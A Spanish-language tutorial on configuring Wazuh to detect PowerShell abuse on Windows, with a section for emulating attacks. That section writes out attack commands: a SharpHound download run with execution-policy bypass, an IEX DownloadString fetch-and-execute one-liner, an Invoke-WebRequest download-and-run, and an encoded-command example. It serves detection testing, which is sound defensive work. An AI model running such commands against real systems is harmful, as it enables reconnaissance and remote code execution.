Guía para Detectar Ataques de PowerShell en Windows con Wazuh

PowerShell es una herramienta que probablemente has utilizado para tareas rutinarias de administración en Windows, pero ¿sabías que también es uno de los blancos favoritos de los ciberdelincuentes? Con su enorme versatilidad, PowerShell puede ser una puerta de entrada para ataques que pasan desapercibidos incluso para soluciones de seguridad avanzadas. La buena noticia es que, con las herramientas adecuadas, puedes detectar y bloquear estas amenazas antes de que causen daño. En este artículo, exploraremos cómo Wazuh te permite monitorear y proteger tu sistema contra técnicas de explotación maliciosa en PowerShell.

¿Qué es PowerShell y por qué es un objetivo atractivo para los atacantes?

PowerShell es una de esas herramientas imprescindibles para los administradores de sistemas. Con ella puedes gestionar equipos con Windows, automatizar tareas y configurar prácticamente todo de manera rápida y eficiente. Su capacidad para crear scripts permite ahorrar tiempo y evitar los típicos errores que ocurren cuando haces todo manualmente. Es práctica, poderosa y, en definitiva, una aliada clave para mantener todo bajo control.

Pero esa misma versatilidad que la hace tan útil también la convierte en un blanco perfecto para los ciberdelincuentes. Los atacantes pueden aprovechar PowerShell para hacer cosas como ejecutar malware, descargar archivos maliciosos o robar información sensible, muchas veces sin que las herramientas antivirus tradicionales detecten nada. Por eso, monitorear cómo se usa PowerShell y asegurarte de que solo se ejecuten comandos autorizados es fundamental para mantener tus sistemas seguros. El marco de seguridad MITRE ATT&CK documenta varias técnicas que los atacantes suelen usar para abusar de PowerShell. 

¿Cómo Wazuh detecta la explotación de PowerShell?

Wazuh utiliza la siguiente infraestructura para detectar técnicas de abuso de PowerShell en sistemas Windows. Básicamente, aquí está lo que se necesita para poner todo en marcha:

1. Componentes principales de Wazuh (versión 4.9.2): Esto incluye el servidor Wazuh, el indexador y el panel de control.
   
   
2. Un punto final con Windows 11: Este dispositivo tiene instalado el agente de Wazuh, que ya está registrado en el servidor para que podamos monitorearlo.

Configuración

Ahora, para poder detectar actividades sospechosas en PowerShell, hay que hacer un par de cosas. Primero, es necesario habilitar y recolectar los registros de PowerShell en el equipo Windows que estamos monitoreando. Esto básicamente significa asegurarnos de que PowerShell nos deje rastros claros de lo que se está haciendo. Luego, configuramos reglas personalizadas en Wazuh para que pueda analizar esos registros y detectar comportamientos extraños. Aquí te dejamos un resumen claro de cómo configurar Wazuh para monitorear y detectar posibles abusos de PowerShell en un sistema Windows:

En el equipo con Windows:

1. Habilitar el registro avanzado de PowerShell:

   • Abre PowerShell como administrador y ejecuta un script que activa el registro detallado de comandos (tanto bloques de script como módulos). Esto permite capturar actividades completas en los logs de PowerShell que, por defecto, Windows no guarda.

2. Configurar el agente de Wazuh:

   • Edita el archivo de configuración del agente ossec.conf y asegúrate de incluir las rutas necesarias para que los registros de PowerShell se envíen al servidor de Wazuh para su análisis.

     
     
     

3. Reinicia el agente:

   • 
     

     Aplica los cambios reiniciando el servicio del agente con el comando Restart-Service -Name wazuh

     .

En el servidor Wazuh:

1. Añadir reglas personalizadas:

   • Edita el archivo local_rules.xml y agrega reglas diseñadas para detectar actividades sospechosas en PowerShell, como comandos codificados, herramientas maliciosas conocidas, uso de Mshta, cambios en políticas de ejecución, o intentos de descarga con Invoke-WebRequest.

2. Reinicia el servidor Wazuh:

   • 
     

     Aplica las nuevas reglas reiniciando el administrador de Wazuh con el comando systemctl restart wazuh-manager.

¿Qué detectan estas reglas?

1. Comandos codificados o comandos sospechosos en PowerShell.
   
   
2. Intentos bloqueados por Windows Defender.
   
   
3. Ejecución de herramientas maliciosas conocidas (como Mimikatz o inyección de DLL).
   
   
4. Uso de Mshta para descargar y ejecutar archivos maliciosos.
   
   
5. Cambios en políticas de ejecución para saltarse restricciones.
   
   
6. Descargas sospechosas mediante Invoke-WebRequest.
   
   

Pruebas de detección

Para comprobar que las reglas funcionan correctamente, puedes emular ciertos ataques en un entorno controlado. Estas pruebas utilizan técnicas documentadas en el marco MITRE ATT&CK para actividades maliciosas con PowerShell. 

Te podrá interesar leer:  ¿Qué es Wazuh?: Open Source XDR Open Source SIEM

Punto final de Windows

PowerShell es una herramienta poderosa, pero también una de las favoritas de los atacantes. ¿Por qué? Porque les permite ejecutar comandos directamente en la memoria, lo que hace que sean más difíciles de detectar por los antivirus tradicionales. Con PowerShell, pueden manipular procesos del sistema, robar información sensible y realizar actividades maliciosas sin dejar rastros evidentes.

Por suerte, Wazuh incluye reglas preconfiguradas que ayudan a identificar cuando se están ejecutando este tipo de comandos maliciosos en tus sistemas.

Ejemplo: Uso de SharpHound

SharpHound es una herramienta que los atacantes suelen usar para recolectar información crítica de un sistema. En este caso, se puede simular un ataque invocando SharpHound con los siguientes comandos:

curl "https://raw.githubusercontent.com/BloodHoundAD/BloodHound/refs/heads/master/Collectors/SharpHound.ps1" -o SharpHound.ps1
powershell -ep bypass .\sharphound.ps1 --collectionmethod all

Descarga y Ejecución de Archivos: Cómo los atacantes abusan de PowerShell

Los atacantes tienen varias formas de usar PowerShell para causar problemas, y una de las más comunes es lo que se conoce como "plataforma de descarga". Básicamente, esto consiste en descargar y ejecutar scripts o archivos maliciosos directamente desde Internet en un solo paso, todo sin dejar mucho rastro. Este truco es especialmente peligroso porque a menudo pasa por alto los controles de seguridad tradicionales basados en archivos, como los antivirus.

Ejemplo: Descarga del archivo de prueba EICAR

Aquí tienes un ejemplo de cómo un atacante podría usar PowerShell para descargar y ejecutar un archivo malicioso. En este caso, utilizamos el archivo de prueba de malware EICAR, que no es peligroso, pero nos sirve para simular un ataque. Solo necesitas ejecutar este comando:

powershell -Command "IEX(New-Object Net.WebClient).DownloadString('https://secure.eicar.org/eicar.com.txt'); .\eicar"

Cuando lo haces, Wazuh detectará esta actividad y activará una alerta en su panel para avisarte que algo sospechoso está ocurriendo.

Otro método: Uso de Invoke-WebRequest

Otra forma común de descargar y ejecutar cargas maliciosas es utilizando el comando Invoke-WebRequest. Por ejemplo, un atacante podría usar este comando para lograr lo mismo:

Invoke-WebRequest https://secure.eicar.org/eicar.com.txt -OutFile eicar; .\eicar

Al igual que en el caso anterior, este tipo de actividad también activará una alerta en el panel de Wazuh, dándote visibilidad inmediata para tomar medidas.

¿Por qué es importante esto?

Estas técnicas de descarga son increíblemente útiles para los atacantes porque les permiten introducir contenido malicioso en un sistema con muy poco esfuerzo y sin ser detectados fácilmente. Sin embargo, con Wazuh monitoreando tus sistemas, puedes identificar rápidamente estas actividades y detenerlas antes de que causen daño. Mantén un ojo en estas alertas y asegúrate de actuar rápido para proteger tus sistemas.

Conoce más sobre:  Dashboard de Alertas y Notificaciones en Wazuh

Ofuscación y Evasión: Cómo los atacantes esconden sus movimientos en PowerShell

Cuando los atacantes quieren que sus scripts pasen desapercibidos, recurren a técnicas de ofuscación. ¿Qué significa esto? Básicamente, camuflan sus comandos para que sean difíciles de entender tanto para los humanos como para las herramientas de seguridad. Por ejemplo, codifican los comandos para que parezcan inofensivos mientras, en realidad, están llevando a cabo acciones maliciosas como robar datos o descargar malware adicional.

Ejemplo: Comando codificado

Una de las formas más comunes de ofuscación es usar la bandera EncodedCommand de PowerShell. Esto les permite ejecutar un comando malicioso en formato codificado, haciendo que sea más difícil de detectar. Por ejemplo, el siguiente comando parece inofensivo, pero está codificado para imprimir "Hola mundo" en la pantalla:

powershell.exe -EncodedCommand "VwByAGkAdABlAC0ATwB1AHQAcAB1AHQAIAAiAEgAZQBsAGwAbwAgAFcAbwByAGwAZAAiAA=="

Cuando se ejecuta, Wazuh lo detecta y genera una alerta en su panel. Esto significa que, aunque el comando esté codificado, no pasa desapercibido.

Omisión de políticas de ejecución

Otra técnica que los atacantes adoran usar es la omisión de políticas de ejecución en PowerShell. Esta táctica les permite ignorar las restricciones que normalmente impiden que se ejecuten scripts no autorizados o no firmados. Usando la bandera -ExecutionPolicy Bypass (o variantes como exec bypass), los atacantes pueden ejecutar scripts maliciosos sin restricciones. Por ejemplo, un atacante podría crear un script simple y luego ejecutarlo ignorando las políticas de seguridad:

1. Primero crean un script que ejecuta un comando básico, como este: echo "whoami" > "C:\Archivos de programa (x86)\ossec-agent\active-response\bin\test.ps1".
2. Luego, lo ejecutan con la omisión de políticas: Powershell -ExecutionPolicy Bypass -File "C:\Archivos de programa (x86)\ossec-agent\active-response\bin\test.ps1".